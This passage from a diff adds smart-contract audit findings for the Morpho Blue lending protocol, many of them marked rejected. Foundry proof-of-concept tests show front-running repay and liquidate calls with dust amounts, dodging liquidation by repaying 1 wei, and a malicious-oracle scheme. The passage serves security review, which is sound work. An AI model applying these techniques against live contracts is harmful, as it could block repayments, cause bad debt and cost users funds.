++ uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 6 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+ }
+```
+
+Log output :
+
+```shell
+Logs:
+ borrowRate :
+ 25367833587
+ taylor result :
+ 22158880802970884
+ accured interest :
+ 1772710464237670720
+```
+
+It can be observed that the current implementation result in higher `interest` that it should be.
+
+**Recommendation**:
+
+Update `thirdTerm` calculation inside `wTaylorCompounded` to the correct calculation :
+
+```diff
+ function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+- uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
++ uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 6 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+ }
+```
+
+
+
+
+### Users can avoid being liquidated by repaying a small amount just in time and leaving protocol with bad debt _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- **Description**:
+A user can avoid full liquidation by repaying small amounts of collateral every time a full liquidation is supposed to happen and leave protocol with bad debt.
+
+- A user deposits ```1 ETH``` of collateral and borrows ```1600 USDC``` (assume that the price of ETH is 2000 USDC and lltv 80%)
+- The value of ETH drops and his position becomes eligible for liquidation.
+- Now if someone wants to liquidate his full position they call the ```liquidate``` function with ```seizedAssets = 1 ETH```
+```solidity
+function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ ...
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+ ...
+ return (seizedAssets, repaidAssets);
+}
+```
+
+- This seized collateral is then subtracted from the user's collateral.
+- But what a user can do, is that he frontruns the ```liquidate``` call and ```repays 1 wei``` of his loan so the liquidation call will cause an underflow and fail.
+```solidity
+function repay(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ position[id][onBehalf].borrowShares -= shares.toUint128();
+ market[id].totalBorrowShares -= shares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+
+ // `assets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Repay(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoRepayCallback(msg.sender).onMorphoRepay(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+}
+```
+- Even if the liquidators start liquidating him by smaller amounts eventually the full position will have to be liquidated or it won't be profitable anymore. Once it reaches that state a user can repay ```1 wei``` of collateral every time a liquidation call happens until the liquidation is not profitable anymore leaving a protocol with a `bad debt`.
+- This can potentially give him the advantage of postponing liquidation long enough until the position becomes healthy again or it becomes unprofitable for liquidation and causes `bad debt` for the protocol.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L384
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266-L295
+- **Recommendation**:
+Consider using a minimal percentage for loan repayment.
+
+
+
+### Morpho.sol#liquidate() - No slippage control _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+When a liquidator calls `liquidate` they have to repay the `loanTokens` and will receive `collateralTokens` based on the borrower who they are liquidating.
+
+The function calculates the `collateralPrice` in order to check if the position of the borrower is unhealthy and it's also used to calculate `repaidAssets` or `seizedAssets` depending if `liquidate` is called with `seizedAssets = 0` or `repaidShares = 0`.
+
+
+The problem here is that the liquidator's tx can stay in the mempool for a longer period, and the `collateralPrice` might move up or down, which will lead to him paying more loan tokens or receiving fewer collateral tokens, depending on the move of the price and how `liquidate` has been called.
+
+If the protocol uses on-chain oracles, slippage is a must, as on-chain oracles are easily manipulated. Even if Chainlink oracles are used, there are many price feeds that have a 24 hour heartbeats and 2% deviations, which will still impact the users in a negative way.
+
+**Recommendation**:
+Add an additional parameter in `liquidate` where the user can specify a minimum amount of tokens for both collateral and loan tokens that he is willing to accept.
+
+A deadline check is also a good layer of extra protection.
+
+
+
+### Morpho.sol#repay() - A malicious user can DoS the borrower who is fully repaying his debt _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+A malicious user can front run a full `repay` with dust amounts to DoS the borrower repaying his debt.
+
+Let's inspect the line in `repay` where the revert occurs.
+```js
+ position[id][onBehalf].borrowShares -= shares.toUint128();
+```
+
+If the borrower has `1000 shares` and he wants to repay all of them, a malicious user can front run him, repaying only `1 share` and borrower's tx will revert with an underflow, due to the fact that he wants to repay 1000 shares while he has only `999 shares`.
+
+This can be done multiple times, which will result in more interest that the borrower has to repay and will force him to do partial repayments which will result in even more costs for him.
+
+Note that this attack can be done when `repay` is called with both `assets != 0` and `shares != 0`, the below PoC showcases both.
+
+**Coded PoC**
+
+Paste the following inside `test/forge/integration/BorrowIntegrationTest.sol` and run `forge test --mt testDoSRepayWithDustAmounts -vvvv`.
+
+```js
+function testDoSRepayWithDustAmounts() public {
+ uint256 amountSupplied = 10e18;
+ uint256 amountCollateral = 10e18;
+ uint256 amountBorrowed = 1e18;
+ _supply(amountSupplied);
+
+ oracle.setPrice(1e36);
+
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ uint256 expectedBorrowShares = amountBorrowed.toSharesUp(0, 0);
+
+ (uint256 returnAssets, uint256 returnShares) =
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ assertEq(returnAssets, amountBorrowed, "returned asset amount");
+ assertEq(returnShares, expectedBorrowShares, "returned shares amount");
+ assertEq(morpho.totalBorrowAssets(id), amountBorrowed, "total borrow");
+ assertEq(morpho.borrowShares(id, BORROWER), expectedBorrowShares, "borrow shares");
+ assertEq(morpho.borrowShares(id, BORROWER), expectedBorrowShares, "total borrow shares");
+ assertEq(loanToken.balanceOf(BORROWER), amountBorrowed, "borrower balance");
+ assertEq(loanToken.balanceOf(address(morpho)), amountSupplied - amountBorrowed, "morpho balance");
+
+ vm.warp(block.timestamp + 1 days);
+
+ morpho.accrueInterest(marketParams);
+
+ // Malicious user front runs repay with shares
+ address malicious = address(456789);
+ vm.startPrank(malicious);
+ loanToken.setBalance(malicious, 10e18);
+ loanToken.approve(address(morpho), 10e18);
+ morpho.repay(marketParams, 0, 1, BORROWER, hex"");
+ vm.stopPrank();
+
+ // Borrower can't repay with shares
+ vm.prank(BORROWER);
+ vm.expectRevert();
+ morpho.repay(marketParams, 0, expectedBorrowShares, BORROWER, hex"");
+
+ // We store the assets that the borrower has to repay in this variable for easier testing
+ uint256 assetsToRepayByBorrower = morpho.totalBorrowAssets(id);
+
+ // Malicious user front runs repay with assets
+ vm.startPrank(malicious);
+ morpho.repay(marketParams, 1, 0, BORROWER, hex"");
+ vm.stopPrank();
+
+ // Borrower can't repay with assets as well
+ vm.prank(BORROWER);
+ vm.expectRevert();
+ morpho.repay(marketParams, assetsToRepayByBorrower, 0, BORROWER, hex"");
+ }
+```
+
+**Recommendation**:
+
+Add a special case when `shares == type(uint256).max` or `assets == type(uint256).max` for when a user wants to repay the entire debt.
+
+
+
+
+### Morpho.sol#liquidate() - A malicious user can DoS a full liquidation with dust amounts _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+A malicious user can front run a full `liquidate` to DoS a full liquidation using shares.
+
+Let's inspect the line in `liquidate` where the revert occurs.
+```js
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+```
+If the borrower has `1000 shares` and the liquidator wants to liquidate all of them, a malicious user can front run him, liquidating only `1 share` and the liquidator's tx will revert with an underflow because he wants to liquidate `1000 shares` while the borrower has only `999 shares`.
+
+This attack can be pulled off multiple times to block full liquidations which will force liquidators to do partial liquidations which are less efficient and if done long enough, can even result in bad debt.
+
+Note that this attack can be pulled with `seizedAssets`, if the collateral price drops too low, which will lead to blocking of socialization of bad debt, while this is happening some users might be able to `withdraw` to avoid the socialization of bad debt. The below PoC showcases both of the attacks.
+
+**Coded PoC**
+
+Paste the following inside `test/forge/integration/LiquidateIntegerationTest.sol` and run `forge test --mt testDoSLiquidateWithDustAmounts -vvvv`
+
+```js
+function testDoSLiquidateWithDustAmounts() public {
+ _setLltv(0.5e18);
+ uint256 amountSupplied = 10e18;
+ uint256 amountCollateral = 2e18;
+ uint256 amountBorrowed = 1e18;
+ _supply(amountSupplied);
+
+ oracle.setPrice(1e36);
+
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ uint256 expectedBorrowShares = amountBorrowed.toSharesUp(0, 0);
+
+ (uint256 returnAssets, uint256 returnShares) =
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ assertEq(returnAssets, amountBorrowed, "returned asset amount");
+ assertEq(returnShares, expectedBorrowShares, "returned shares amount");
+ assertEq(morpho.totalBorrowAssets(id), amountBorrowed, "total borrow");
+ assertEq(morpho.borrowShares(id, BORROWER), expectedBorrowShares, "borrow shares");
+ assertEq(morpho.borrowShares(id, BORROWER), expectedBorrowShares, "total borrow shares");
+ assertEq(loanToken.balanceOf(BORROWER), amountBorrowed, "borrower balance");
+ assertEq(loanToken.balanceOf(address(morpho)), amountSupplied - amountBorrowed, "morpho balance");
+
+ vm.warp(block.timestamp + 1 days);
+ oracle.setPrice(0.9e36);
+ morpho.accrueInterest(marketParams);
+
+ loanToken.setBalance(LIQUIDATOR, 10e18);
+
+ // Malicious user front runs liquidate with shares
+ address malicious = address(456789);
+ vm.startPrank(malicious);
+ loanToken.setBalance(malicious, 10e18);
+ loanToken.approve(address(morpho), 10e18);
+ morpho.liquidate(marketParams, BORROWER, 0, 1, hex"");
+ vm.stopPrank();
+
+ // Liquidator can't liquidate with shares
+ vm.prank(LIQUIDATOR);
+ vm.expectRevert();
+ morpho.liquidate(marketParams, BORROWER, 0, expectedBorrowShares, hex"");
+
+ // Collateral price drops very low
+ oracle.setPrice(0.1e36);
+
+ // Malicious user front runs liquidator with assets
+ vm.prank(malicious);
+ morpho.liquidate(marketParams, BORROWER, 1, 0, hex"");
+
+ // Liquidator can't liquidate with assets
+ vm.prank(LIQUIDATOR);
+ vm.expectRevert();
+ morpho.liquidate(marketParams, BORROWER, amountCollateral, 0, hex"");
+ }
+```
+
+**Recommendation**:
+
+Add a special case when `repaidShares == type(uint256).max` or `seizedAssets == type(uint256).max` so a liquidator can specify that he wants to liquidate the entire position.
+
+
+
+### The MorphoBlue contract has no capability to pause the supply of assets/shares when the market's being exploited. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L184-L184](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L184-L184)
+
+In the Morpho Blue contract, once a market's created, lenders/borrowers can supply assets/shares in the market.
+However, if the market's being exploited, there's no way for the owner of the contract to intervene and pause the supply actions.
+This would result in users still supplying assets/shares to the market under such circumstances, when the contract should've been paused.
+
+Consider adding a pausing mechanism that can only be set by the owner of the contract.
+This would prevent users from supplying assets or collateral if the market's being exploited.
+However, they should be allowed to withdraw their assets in those circumstances.
+
+
+
+### Unsafe downcasting leading to potential DOS
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The `function setFee(MarketParams memory marketParams, uint256 newFee)` implements modification of the `uint128 fee` in struct (represented as a `uint128`), using a parameter of type `uint256`. This mismatch in data types creates a risk of potential denial-of-service (DoS) attacks due to an unsafe casting operation.
+
+**Impact**
+It is not sure how many tokens have total supply of `type(uint128).max` but its best to be proactive.
+
+**Recommendation**:
+Even if protocol thinks fee can't get into the DOS range, it should still consider eliminating this situation entirely from contract. Match both data types as both `uint128` or `uint256`.
+
+
+
+### Function lack return of a vital Value (Type Id) _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**
+The `createMarket()` function serves as the contract's entry point, generating a unique `Id` for a market. This Id is a crucial identifier within the contract's ecosystem. It serves as a unique reference for newly and subsequently all created markets. It's extensively utilized across various contract functionalities for users to access / view position and market. eg:
+1. Via public mappings.
+Morpho.sol::Morpho
+```javascript
+mapping(Id => mapping(address => Position)) public position;
+mapping(Id => Market) public market;
+mapping(Id => MarketParams) public idToMarketParams;
+```
+2. Via interface.
+IMporpho.sol::IMorphoStaticTyping
+```javascript
+ function position(Id id, address user) external view returns (/*....*/);
+ function market(Id id) external view returns (/*....*/);
+ function idToMarketParams(Id id) external view returns (/*...*/);
+```
+However, this vital id is not returned to user at point of market creation (by `createMarket()`)
+Note that:
+- The Id generated at `createMarket()` is the one mapped in the contract storage. Hence the **authentic** one.
+- It may be arguable that users can regenerate id on or off chain (Manually) but this cannot not guaranteed to be the **authentic** one pertaining to user.
+- The fact is there is no way of returning the **authentic** id from storage.
+
+**Impact**:
+
+The `createMarket()` function fails to return the generated Id after execution`. This omission significantly impacts the user experience and contract usability. Without the returned Id, users lack direct access to the unique identifier created for the specific market. Consequently, users encounter difficulty in obtaining the precise Id necessary for subsequent interactions within the contract.
+
+Potential Ramifications:
+
+1. User denial of service.
+
+2. User Frustration and Errors:
+The absence of the generated Id complicates user engagement with the contract, potentially leading to frustration and manual computation attempts.
+
+3. Data Mismatch and Inconsistency:
+Users relying on manual Id generation may inadvertently access incorrect or unrelated market data or positions. This mismatch in data retrieval can lead to misinformed decisions or actions within the contract, compromising the integrity of user transactions.
+
+**Recommended mitigation**:
+As shown below, the `createMarket` function should return the generated id as this is the only point of guaranteed **authentic** id (one which actually interacted with storage.
+```diff
+function createMarket(MarketParams memory marketParams) external
++ returns (Id)
+{
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
++ return id;
+ }
+
+```
+
+
+
+### Liquidations can be temporarily avoided by frontrunning the tx and slightly decreasing their debt _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513C1-L525C6
+
+- Attack description
+
+In the liquidation transaction, the liquidator has to specify the amount of assets they want to seize or the amount of shares they want to repay.
+
+```
+
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+ return maxBorrow >= borrowed;
+ }
+```
+
+The function above is used to determine whether the position is healthy or not, if not then it can be liquidated. if the max borrowable amount is more than the amount borrowed the position is unhealthy.
+
+The problem is the borrower can front run any attempt to liquidate by just ensuring the amount borrowed is less than the max borrowable.
+
+The position owner can temporarily disable a liquidation by just paying off a small portion of their debt.
+
+- Proof Of Concept
+
+```
+ function testLiquidateHealthyPosition2(
+ uint256 amountCollateral,
+ uint256 amountSupplied,
+ uint256 amountBorrowed,
+ uint256 amountSeized,
+ uint256 priceCollateral,
+ uint256 lltv
+ ) public {
+ _setLltv(_boundTestLltv(lltv));
+
+ amountCollateral = 100e18;
+ amountBorrowed = 10e18;
+ priceCollateral = 1e36;
+
+ amountSupplied = amountCollateral;
+ _supply(amountSupplied);
+
+ oracle.setPrice(priceCollateral);
+
+ loanToken.setBalance(LIQUIDATOR, amountCollateral);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ uint256 maxBorrowed = uint256(amountCollateral).mulDivDown(uint256(priceCollateral), uint256(ORACLE_PRICE_SCALE)).wMulDown(uint256(marketParams.lltv));
+
+ morpho.borrow(marketParams, maxBorrowed, 0, BORROWER, BORROWER);
+
+ // @audit collateral price goes down, can now be liquidated
+ oracle.setPrice(priceCollateral - 10000 wei);
+ // @audit borrower front runs call to liquidate by repaying only 1 wei of debt
+ morpho.repay(marketParams, 1 wei, 0, BORROWER, hex"");
+ vm.stopPrank();
+
+ vm.startPrank(LIQUIDATOR);
+
+ // @audit attempt to liquidate entire position will revert because position is healthy
+ morpho.liquidate(marketParams, BORROWER, 0, morpho.borrowShares(id, BORROWER) / 2, hex"");
+
+ vm.stopPrank();
+
+ }
+```
+
+In the POC above, the borrower borrows the max amount borrowable. once the price of collateral drops and the maxBorrowable is more than the borrowed amount, their position becomes liquidatble, but if they repay one 1 wei of debt, the attempt to liquidate will revert with reason "Position is healthy".
+
+
+
+
+### Liquidations via repaidshares parameter can revert
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Attack Description
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L375C1-L377C14
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L384C1-L384C71
+
+Attempting to liquidate a position by supplying repaidshares as parameter can revert if the collateral price is reduced dramatically.
+
+```
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+```
+
+the denominator in equation above is the price of collateral, if its too low, it can dramaticaly inflate the amount of seized assets in relation to the position's collateral amount.
+
+` position[id][borrower].collateral -= seizedAssets.toUint128();`
+
+This will cause calculation in line above to revert. The impact of this is that liquidations via the repaidshares parameter will fail. This is medium severity however because liquidations can still be competed via supplying the seizedAssets parameter instead. It will however negatively impact liquidators since their attempts to do so via repaidshares can sometimes fail.
+
+- Proof Of Concept
+
+```
+ function testLiquidateHealthyPosition2(
+ uint256 amountCollateral,
+ uint256 amountSupplied,
+ uint256 amountBorrowed,
+ uint256 amountSeized,
+ uint256 priceCollateral,
+ uint256 lltv
+ ) public {
+ _setLltv(_boundTestLltv(lltv));
+
+ amountCollateral = 100e18;
+ amountBorrowed = 10e18;
+ priceCollateral = 1e36;
+
+ amountSupplied = amountCollateral;
+ _supply(amountSupplied);
+
+ oracle.setPrice(priceCollateral);
+
+ loanToken.setBalance(LIQUIDATOR, amountCollateral);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ uint256 maxBorrowed = uint256(amountCollateral).mulDivDown(uint256(priceCollateral), uint256(ORACLE_PRICE_SCALE)).wMulDown(uint256(marketParams.lltv));
+
+ morpho.borrow(marketParams, maxBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ // @audit collateral price goes down by 100x
+ oracle.setPrice(priceCollateral / 100);
+
+ vm.startPrank(LIQUIDATOR);
+ //vm.expectRevert();
+ // @audit attempt to liquidate entire position will fail with arithmetic underflow or overflow
+ morpho.liquidate(marketParams, BORROWER, 0, morpho.borrowShares(id, BORROWER), hex"");
+
+ vm.stopPrank();
+
+ }
+```
+
+- Mitigation
+
+```
+ if (seizedAssets > position[id][borrower].collateral) {
+ position[id][borrower].collateral = 0;
+ }
+ else {
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+ }
+```
+
+one mitigation is to check whether the seizedAssets amount is larger than the position's collateral, if so, then let the liquidation proceed to set the positions collateral as zero.
+
+
+
+
+
+### Morpho does not compatible with rebase tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Morpho uses totalSupplyAssets to store the token amount deposited by users. However, for rebase token, the rebase token balance changes with the rebase event, which leads to inconsistency between totalSupplyAssets and the actual token balance in Morpho, and thus leads to the token amount withdrawn by the user to be more or less.
+
+**Recommendation**:
+It is recommended to document that rebase tokens are not supported.
+
+
+
+### Morpho does not compatible with fee-on-transfer tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+There are ERC20 tokens that charge fee for every transfer() or transferFrom().
+
+The user can use any loanToken and collateralToken to create a Market.
+
+When the loanToken and collateralToken are fee-on-transfer tokens, the token amount received by the contract in supply() and supplyCollateral() functions will be less than the `assets`.
+```solidity
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+```
+
+This will cause the user to fail when withdrawing the loanToken and collateralToken due to insufficient balance.
+
+In addition, the user can deplete the loanToken and collateralToken in the contract by continuously supply and withdraw tokens
+
+**Recommendation**:
+Consider getting the received amount by calculating the difference of token balance (using balanceOf) before and after the transferFrom.
+
+
+
+
+### createMarket() does not check oracle _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+In Morpho, anyone can call createMarket() to create a market. createMarket() checks for irm and lltv, but not for oracle address.
+```solidity
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+```
+A malicious market creator can deploy an oracle contract and the owner of the oracle contract can change the feed address.
+Then he can attract users with high interest and high lltv, and when the market gets larger, the malicious user can change the feed address to return incorrect prices, thus maliciously liquidating the borrowers in the market.
+
+**Recommendation**:
+It is recommended to add OracleFactory contracts and Oracle template contracts, and only Oracle contracts created through OracleFactory are allowed to be used as oracle for the market.
+
+
+
+### Unfair prices for borrowers. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+People that is interested in borrowing has to supply collateral and then call the [borrow](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232) function.
+the [borrow](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232) function then check for the healty factor to see is the position is healty and give the borrow amount.
+
+```
+ function borrow(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ ...
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ position[id][onBehalf].borrowShares += shares.toUint128();
+ market[id].totalBorrowShares += shares.toUint128();
+ market[id].totalBorrowAssets += assets.toUint128();
+
+ require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+ ...
+ }
+
+```
+```
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+ ...
+
+ return _isHealthy(marketParams, id, borrower, collateralPrice);
+ }
+
+ /// @dev Returns whether the position of `borrower` in the given market `marketParams` with the given
+ /// `collateralPrice` is healthy.
+ /// @dev Assumes that the inputs `marketParams` and `id` match.
+ /// @dev Rounds in favor of the protocol, so one might not be able to borrow exactly `maxBorrow` but one unit less.
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+ return maxBorrow >= borrowed;
+ }
+```
+[Link](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232) [Link](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L501C4-L525C6)
+
+The _isHealthy function is calculating the borrowed amount whit the next math:
+```
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+```
+
+As you can see the borrowed value is less if the market[id].totalBorrowAssets going up with out market[id].totalBorrowShares going up. And this happen everytime that the interest is accrued:
+
+```
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ ...
+ }
+```
+[Link](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471C4-L495C6).
+
+- **Impact**
+The firsts borrowers receives better prices, than the other ones this can lead to a desinterest to borrow in the pool, due that borrowers are receiving unfair prices
+
+- **Proof of Concept**
+Follow the next test in test/forge/BaseTest.sol
+
+```
+ function test_insufficientCollateral() public {
+ //@audit poc the liquidity pool is dicentiving the borrow with the time and with the debt
+ uint256 assetsAddresThis = 1000 ether;
+ uint256 sharesAddresThis;
+
+ // supplying liquidity
+ console.log("supplying liquidity..........", assetsAddresThis);
+ loanToken.setBalance(address(this), assetsAddresThis); //getting balance for the caller
+ loanToken.approve(address(morpho), assetsAddresThis);
+ (assetsAddresThis, sharesAddresThis) = morpho.supply(marketParams, assetsAddresThis, 0, address(this), hex"");
+
+ console.log(" supply asset : ", assetsAddresThis);
+ console.log(" supply shares: ", sharesAddresThis);
+
+ address user2 = address(2);
+ vm.startPrank(user2);
+
+ uint256 collateralAmount = 10e18;
+ collateralToken.setBalance(user2, collateralAmount);
+
+ console.log("user 2");
+ collateralToken.approve(address(morpho), type(uint256).max);
+ morpho.supplyCollateral(marketParams, collateralAmount, user2, hex"");
+ uint256 maxBorrow = _maxBorrow(marketParams, user2);
+
+ console.log("borrowing asset user 2..........", maxBorrow);
+ (uint256 assets, uint256 shares) = morpho.borrow(marketParams, maxBorrow, 0, user2, user2);
+
+ vm.stopPrank();
+
+ console.log(" collateral : ", collateralAmount);
+ console.log(" borrow asset : ", assets);
+ console.log(" borrow shares: ", shares);
+
+ vm.warp(block.timestamp + 2 days); // forward time
+
+ vm.startPrank(BORROWER);
+
+ collateralAmount = 10e18;
+ collateralToken.setBalance(BORROWER, collateralAmount);
+
+ console.log("BORROWER");
+
+ collateralToken.approve(address(morpho), type(uint256).max);
+ morpho.supplyCollateral(marketParams, collateralAmount, BORROWER, hex"");
+ maxBorrow = _maxBorrow(marketParams, BORROWER);
+ console.log("borrowing asset BORROWER..........", maxBorrow);
+
+ (assets, shares) = morpho.borrow(marketParams, maxBorrow - 1, 0, BORROWER, BORROWER); //usar can not
+ // borrow the same amount of loan token
+
+ vm.stopPrank();
+
+ console.log(" collateral : ", collateralAmount);
+ console.log(" borrow asset : ", assets);
+ console.log(" borrow shares: ", shares);
+
+ vm.warp(block.timestamp + 2 days); // forward time
+
+ vm.startPrank(BORROWER);
+
+ collateralAmount = 10e18;
+ collateralToken.setBalance(BORROWER, collateralAmount);
+
+ console.log("BORROWER");
+
+ console.log("borrowing asset BORROWER..........", maxBorrow);
+ collateralToken.approve(address(morpho), type(uint256).max);
+ morpho.supplyCollateral(marketParams, collateralAmount, BORROWER, hex"");
+ maxBorrow = _maxBorrow(marketParams, BORROWER);
+ vm.expectRevert();
+ (assets, shares) = morpho.borrow(marketParams, maxBorrow - 1e17, 0, BORROWER, BORROWER); //usar can not
+ // borrow the same amount of loan token
+
+ vm.stopPrank();
+
+ console.log(" collateral : ", collateralAmount);
